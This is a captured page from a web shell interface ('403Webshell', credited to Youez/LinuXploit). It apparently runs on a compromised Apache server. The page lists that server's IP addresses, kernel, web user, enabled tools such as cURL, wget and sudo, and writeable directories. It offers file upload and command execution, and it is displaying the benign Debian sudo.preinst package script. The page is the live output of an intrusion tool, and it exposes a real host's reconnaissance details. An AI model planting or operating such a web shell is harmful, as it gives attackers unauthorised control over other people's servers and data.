403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.159
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/sudo.preinst
#!/bin/sh

set -e

case "$1" in
  install|upgrade)
    if [ -n "$2" ] && dpkg --compare-versions "$2" le "1.7.4p4-4"; then

      SUDOERS="/etc/sudoers"

      if [ -e "$SUDOERS" ]; then
        md5sum="$(md5sum $SUDOERS | sed -e 's/ .*//')"
        if [ "$md5sum" = "c310ef4892a00cca8134f6e4fcd64b6d" ] ||      #lenny
           [ "$md5sum" = "c5dab0f2771411ed7e67d6dab60a311f" ] ||      #squeeze
           [ "$md5sum" = "45437b4e86fba2ab890ac81db2ec3606" ]; then   #wheezy
	    # move unchanged sudoers file to avoid conffile question
            mv "$SUDOERS" "$SUDOERS.pre-conffile"
        fi
      fi
    fi
  ;;
esac



Youez - 2016 - github.com/yon3zu
LinuXploit